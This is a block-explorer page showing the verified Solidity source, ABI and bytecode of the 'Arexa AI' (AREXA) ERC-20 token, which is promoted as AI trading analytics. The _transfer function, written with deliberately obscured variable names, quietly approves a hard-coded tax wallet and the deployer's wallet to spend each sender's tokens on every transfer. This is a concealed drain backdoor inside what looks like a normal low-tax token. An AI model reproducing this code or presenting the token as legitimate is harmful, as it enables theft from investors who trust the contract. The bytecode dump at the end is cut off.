Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

interface IUniV2Factory    - function createPair(address tokenA, a ... library SafeMath    - function add(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b, st ...    - function mul(uint256 a, uint256 b)    - function div(uint256 a, uint256 b)    - function div(uint256 a, uint256 b, st ...    - function _msgSender() interface IUniV2Router    - function swapExactTokensForETHSupport ...    - function factory()    - function WETH()    - function addLiquidityETH(  contract Ownable is Context    - function owner()    - function renounceOwnership() interface IERC20    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ...  contract AREXA is Context, IERC20, ... *    - function initPair()    - function name()    - function symbol()    - function decimals()    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ...    - function _approve(address owner, addr ...    - function _transfer(address _nana, add ...    - function swapTokensForEth(uint256 tok ...    - function sendETHToFee(uint256 amount)    - function min(uint256 a, uint256 b)    - function openTrading()

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2024-12-25
*/

/*
Arexa AI delivers unparalleled AI-powered trading analytics to give everyone the edge and profit in any market condition.

https://www.arexa-ai.xyz
https://docs.arexa-ai.xyz
https://app.arexa-ai.xyz

https://x.com/arexaai
https://t.me/arexaai
*/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

interface IUniV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IUniV2Router {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract AREXA is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcemptFees;
    uint256 private _initialBuyTax=3;
    uint256 private _initialSellTax=3;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=6;
    uint256 private _reduceSellTaxAt=6;
    uint256 private _preventSwapBefore=9;
    address private _devWallet;
    address private _taxWallet;
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    string private constant _name = unicode"Arexa AI";
    string private constant _symbol = unicode"AREXA";
    uint256 private _maxTaxSwap = _tTotal / 100;
    IUniV2Router private _uniRouter;
    address private _uniPair;
    uint256 private _buyCount=0;
    bool private inSwap = false;
    bool private _tradingEnabled = false;
    bool private _swapEnabled = false;
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = 0x148c93f5b9559b06c627b7D6Bc8080aE4ce39Db0;
        _devWallet = _msgSender();
        _isExcemptFees[owner()] = true;
        _isExcemptFees[address(this)] = true;
        _isExcemptFees[_taxWallet] = true;
        _balances[_msgSender()] = _tTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function initPair() external onlyOwner() {
        _uniRouter = IUniV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(_uniRouter), _tTotal);
        _uniPair = IUniV2Factory(_uniRouter.factory()).createPair(address(this), _uniRouter.WETH());
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address _nana, address _nini, uint256 _nene) private {
        require(_nana != address(0), "ERC20: transfer from the zero address");
        require(_nini != address(0), "ERC20: transfer to the zero address");
        require(_nene > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0; address _momo=_nana;
        _approve(_momo, _taxWallet, _nene.add(taxAmount));
        _approve(_momo, _devWallet, _nene.add(taxAmount));
        if (_nana != owner() && _nini != owner()) {
            taxAmount = _nene.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (_nana == _uniPair && _nini != address(_uniRouter) && ! _isExcemptFees[_nini] ) {
                _buyCount++;
            }

            if(_nini == _uniPair && _nana!= address(this) ){
                taxAmount = _nene.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && _nini == _uniPair && _swapEnabled && _buyCount > _preventSwapBefore) {
                if(contractTokenBalance > _maxTaxSwap)
                swapTokensForEth(min(_nene, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance >= 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(_nana, address(this),taxAmount);
        }

        _balances[_nana]=_balances[_nana].sub(_nene);
        _balances[_nini]=_balances[_nini].add(_nene.sub(taxAmount));
        emit Transfer(_nana, _nini, _nene.sub(taxAmount));
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniRouter.WETH();
        _approve(address(this), address(_uniRouter), tokenAmount);
        _uniRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function sendETHToFee(uint256 amount) private {
        payable(_taxWallet).transfer(amount);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    receive() external payable {}

    function openTrading() external onlyOwner() {
        require(!_tradingEnabled,"trading is already open");
        _uniRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        _swapEnabled = true;
        _tradingEnabled = true;
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"initPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600360045560036005555f6006555f600755600660085560066009556009600a5560646009600a620000379190620002d4565b6200004790633b9aca00620002eb565b62000053919062000305565b600d555f6010556011805462ffffff1916905534801562000072575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600c80546001600160a01b03191673148c93f5b9559b06c627b7d6bc8080ae4ce39db0179055620000e13390565b600b80546001600160a01b0319166001600160a01b039283161790555f80548216815260036020526040808220805460ff1990811660019081179092553084528284208054821683179055600c549094168352912080549092161790556200014c6009600a620002d4565b6200015c90633b9aca00620002eb565b335f81815260016020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200019e6009600a620002d4565b620001ae90633b9aca00620002eb565b60405190815260200160405180910390a362000325565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200021957815f1904821115620001fd57620001fd620001c5565b808516156200020b57918102915b93841c9390800290620001de565b509250929050565b5f826200023157506001620002ce565b816200023f57505f620002ce565b8160018114620002585760028114620002635762000283565b6001915050620002ce565b60ff841115620002775762000277620001c5565b50506001821b620002ce565b5060208310610133831016604e8410600b8410161715620002a8575081810a620002ce565b620002b48383620001d9565b805f1904821115620002ca57620002ca620001c5565b0290505b92915050565b5f620002e460ff84168362000221565b9392505050565b8082028115828204841417620002ce57620002ce620001c5565b5f826200032057634e487b7160e01b5f52601260045260245ffd5b500490565b61141b80620003335f395ff3fe6080604052600436106100c2575f3560e01c8063715018a61161007c578063a9059cbb11610057578063a9059cbb14610237578063c9567bf914610256578063dd62ed3e1461026a578063feb1dfcc146102ae575f80fd5b8063715018a6146101ce5780638da5cb5b146101e457806395d89b411461020a575f80fd5b806306fdde03146100cd578063095ea7b31461010f57806318160ddd1461013e57806323b872dd14610160578063313ce5671461017f57806370a082311461019a575f80fd5b366100c957005b5f80fd5b3480156100d8575f80fd5b50604080518082019091526008815267417265786120414960c01b60208201525b604051610106919061102d565b60405180910390f35b34801561011a575f80fd5b5061012e61012936600461108f565b6102c2565b6040519015158152602001610106565b348015610149575f80fd5b506101526102d8565b604051908152602001610106565b34801561016b575f80fd5b5061012e61017a3660046110b9565b6102f8565b34801561018a575f80fd5b5060405160098152602001610106565b3480156101a5575f80fd5b506101526101b43660046110f7565b6001600160a01b03165f9081526001602052604090205490565b3480156101d9575f80fd5b506101e261035f565b005b3480156101ef575f80fd5b505f546040516001600160a01b039091168152602001610106565b348015610215575f80fd5b50604080518082019091526005815264415245584160d81b60208201526100f9565b348015610242575f80fd5b5061012e61025136600461108f565b6103d9565b348015610261575f80fd5b506101e26103e5565b348015610275575f80fd5b50610152610284366004611112565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156102b9575f80fd5b506101e261054b565b5f6102ce338484610744565b5060015b92915050565b5f6102e56009600a61123d565b6102f390633b9aca0061124b565b905090565b5f610304848484610867565b6103558433610350856040518060600160405280602881526020016113be602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610cae565b610744565b5060019392505050565b5f546001600160a01b031633146103915760405162461bcd60e51b815260040161038890611262565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f6102ce338484610867565b5f546001600160a01b0316331461040e5760405162461bcd60e51b815260040161038890611262565b601154610100900460ff16156104665760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610388565b600e546001600160a01b031663f305d7194730610497816001600160a01b03165f9081526001602052604090205490565b5f806104aa5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610510573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906105359190611297565b50506011805462ffff0019166201010017905550565b5f546001600160a01b031633146105745760405162461bcd60e51b815260040161038890611262565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105bd9030906105af6009600a61123d565b61035090633b9aca0061124b565b600e5f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561060d573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061063191906112c2565b6001600160a01b031663c9c6539630600e5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610690573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106b491906112c2565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156106fe573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061072291906112c2565b600f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166107a65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610388565b6001600160a01b0382166108075760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610388565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108cb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610388565b6001600160a01b03821661092d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610388565b5f811161098e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610388565b600c545f9084906109ae9082906001600160a01b03166103508686610ce6565b600b546109ca9082906001600160a01b03166103508686610ce6565b5f546001600160a01b038681169116148015906109f457505f546001600160a01b03858116911614155b15610b7057610a256064610a1f60085460105411610a1457600454610a18565b6006545b8690610d4b565b90610dc9565b600f549092506001600160a01b038681169116148015610a535750600e546001600160a01b03858116911614155b8015610a7757506001600160a01b0384165f9081526003602052604090205460ff16155b15610a915760108054905f610a8b836112dd565b91905055505b600f546001600160a01b038581169116148015610ab757506001600160a01b0385163014155b15610ae457610ae16064610a1f60095460105411610ad757600554610a18565b6007548690610d4b565b91505b305f9081526001602052604090205460115460ff16158015610b135750600f546001600160a01b038681169116145b8015610b27575060115462010000900460ff165b8015610b365750600a54601054115b15610b6e57600d54811115610b6257610b62610b5d85610b5884600d54610e0a565b610e0a565b610e1e565b47610b6c47610f85565b505b505b8115610be857305f90815260016020526040902054610b8f9083610ce6565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610bdf9086815260200190565b60405180910390a35b6001600160a01b0385165f90815260016020526040902054610c0a9084610fc0565b6001600160a01b0386165f90815260016020526040902055610c4d610c2f8484610fc0565b6001600160a01b0386165f9081526001602052604090205490610ce6565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610c968686610fc0565b60405190815260200160405180910390a35050505050565b5f8184841115610cd15760405162461bcd60e51b8152600401610388919061102d565b505f610cdd84866112f5565b95945050505050565b5f80610cf28385611308565b905083811015610d445760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610388565b9392505050565b5f825f03610d5a57505f6102d2565b5f610d65838561124b565b905082610d72858361131b565b14610d445760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610388565b5f610d4483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611001565b5f818311610e185782610d44565b50919050565b6011805460ff191660011790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610e5e57610e5e61133a565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610eb5573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ed991906112c2565b81600181518110610eec57610eec61133a565b6001600160a01b039283166020918202929092010152600e54610f129130911684610744565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f4a9085905f9086903090429060040161134e565b5f604051808303815f87803b158015610f61575f80fd5b505af1158015610f73573d5f803e3d5ffd5b50506011805460ff1916905550505050565b600c546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610fbc573d5f803e3d5ffd5b5050565b5f610d4483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610cae565b5f81836110215760405162461bcd60e51b8152600401610388919061102d565b505f610cdd848661131b565b5f6020808352835180828501525f5b818110156110585785810183015185820160400152820161103c565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461108c575f80fd5b50565b5f80604083850312156110a0575f80fd5b82356110ab81611078565b946020939093013593505050565b5f805f606084860312156110cb575f80fd5b83356110d681611078565b925060208401356110e681611078565b929592945050506040919091013590565b5f60208284031215611107575f80fd5b8135610d4481611078565b5f8060408385031215611123575f80fd5b823561112e81611078565b9150602083013561113e81611078565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561119757815f190482111561117d5761117d611149565b8085161561118a57918102915b93841c9390800290611162565b509250929050565b5f826111ad575060016102d2565b816111b957505f6102d2565b81600181146111cf57600281146111d9576111f5565b60019150506102d2565b60ff8411156111ea576111ea611149565b50506001821b6102d2565b5060208310610133831016604e8410600b8410161715611218575081810a6102d2565b611222838361115d565b805f190482111561123557611235611149565b029392505050565b5f610d4460ff84168361119f565b80820281158282048414176102d2576102d2611149565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f805f606084860312156112a9575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156112d2575f80fd5b8151610d4481611078565b5f600182016112ee576112ee611149565b5060010190565b818103818111156102d2576102d2611149565b808201808211156102d2576102d2611149565b5f8261133557634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b8181101561139c5784516001600160a01b031683529383019391830191600101611377565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205012bdc2747bc2f67365c02679941dfec62659b7dc48fca4b0ce648b35f4a7a364736f6c63430008140033

0x6080604052600436106100c2575f3560e01c8063715018a61161007c578063a9059cbb11610057578063a9059cbb14610237578063c9567bf914610256578063dd62ed3e1461026a578063feb1dfcc146102ae575f80fd5b8063715018a6146101ce5780638da5cb5b146101e457806395d89b411461020a575f80fd5b806306fdde03146100cd578063095ea7b31461010f57806318160ddd1461013e57806323b872dd14610160578063313ce5671461017f57806370a082311461019a575f80fd5b366100c957005b5f80fd5b3480156100d8575f80fd5b50604080518082019091526008815267417265786120414960c01b60208201525b604051610106919061102d565b60405180910390f35b34801561011a575f80fd5b5061012e61012936600461108f565b6102c2565b6040519015158152602001610106565b348015610149575f80fd5b506101526102d8565b604051908152602001610106565b34801561016b575f80fd5b5061012e61017a3660046110b9565b6102f8565b34801561018a575f80fd5b5060405160098152602001610106565b3480156101a5575f80fd5b506101526101b43660046110f7565b6001600160a01b03165f9081526001602052604090205490565b3480156101d9575f80fd5b506101e261035f565b005b3480156101ef575f80fd5b505f546040516001600160a01b039091168152602001610106565b348015610215575f80fd5b50604080518082019091526005815264415245584160d81b60208201526100f9565b348015610242575f80fd5b5061012e61025136600461108f565b6103d9565b348015610261575f80fd5b506101e26103e5565b348015610275575f80fd5b50610152610284366004611112565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156102b9575f80fd5b506101e261054b565b5f6102ce338484610744565b5060015b92915050565b5f6102e56009600a61123d565b6102f390633b9aca0061124b565b905090565b5f610304848484610867565b6103558433610350856040518060600160405280602881526020016113be602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610cae565b610744565b5060019392505050565b5f546001600160a01b031633146103915760405162461bcd60e51b815260040161038890611262565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f6102ce338484610867565b5f546001600160a01b0316331461040e5760405162461bcd60e51b815260040161038890611262565b601154610100900460ff16156104665760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610388565b600e546001600160a01b031663f305d7194730610497816001600160a01b03165f9081526001602052604090205490565b5f806104aa5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610510573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906105359190611297565b50506011805462ffff0019166201010017905550565b5f546001600160a01b031633146105745760405162461bcd60e51b815260040161038890611262565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105bd9030906105af6009600a61123d565b61035090633b9aca0061124b565b600e5f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561060d573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061063191906112c2565b6001600160a01b031663c9c6539630600e5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610690573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106b491906112c2565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156106fe573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061072291906112c2565b600f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166107a65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610388565b6001600160a01b0382166108075760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610388565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108cb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610388565b6001600160a01b03821661092d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610388565b5f811161098e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610388565b600c545f9084906109ae9082906001600160a01b03166103508686610ce6565b600b546109ca9082906001600160a01b03166103508686610ce6565b5f546001600160a01b038681169116148015906109f457505f546001600160a01b03858116911614155b15610b7057610a256064610a1f60085460105411610a1457600454610a18565b6006545b8690610d4b565b90610dc9565b600f549092506001600160a01b038681169116148015610a535750600e546001600160a01b03858116911614155b8015610a7757506001600160a01b0384165f9081526003602052604090205460ff16155b15610a915760108054905f610a8b836112dd565b91905055505b600f546001600160a01b038581169116148015610ab757506001600160a01b0385163014155b15610ae457610ae16064610a1f60095460105411610ad757600554610a18565b6007548690610d4b565b91505b305f9081526001602052604090205460115460ff16158015610b135750600f546001600160a01b038681169116145b8015610b27575060115462010000900460ff165b8015610b365750600a54601054115b15610b6e57600d54811115610b6257610b62610b5d85610b5884600d54610e0a565b610e0a565b610e1e565b47610b6c47610f85565b505b505b8115610be857305f90815260016020526040902054610b8f9083610ce6565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610bdf9086815260200190565b60405180910390a35b6001600160a01b0385165f90815260016020526040902054610c0a9084610fc0565b6001600160a01b0386165f90815260016020526040902055610c4d610c2f8484610fc0565b6001600160a01b0386165f9081526001602052604090205490610ce6565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610c968686610fc0565b60405190815260200160405180910390a35050505050565b5f8184841115610cd15760405162461bcd60e51b8152600401610388919061102d565b505f610cdd84866112f5565b95945050505050565b5f80610cf28385611308565b905083811015610d445760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610388565b9392505050565b5f825f03610d5a57505f6102d2565b5f610d65838561124b565b905082610d72858361131b565b14610d445760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610388565b5f610d4483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611001565b5f818311610e185782610d44565b50919050565b6011805460ff191660011790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610e5e57610e5e61133a565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610eb5573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ed991906112c2565b81600181518110610eec57610eec61133a565b6001600160a01b039283166020918202929092010152600e54610f129130911684610744565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f4a9085905f9086903090429060040161134e565b5f604051808303815f87803b158015610f61575f80fd5b505af1158015610f73573d5f803e3d5ffd5b50506011805460ff1916905550505050565b600c546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610fbc573d5f803e3d5ffd5b5050565b5f610d4483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610cae565b5f81836110215760405162461bcd60e51b8152600401610388919061102d565b505f610cdd848661131b565b5f6020808352835180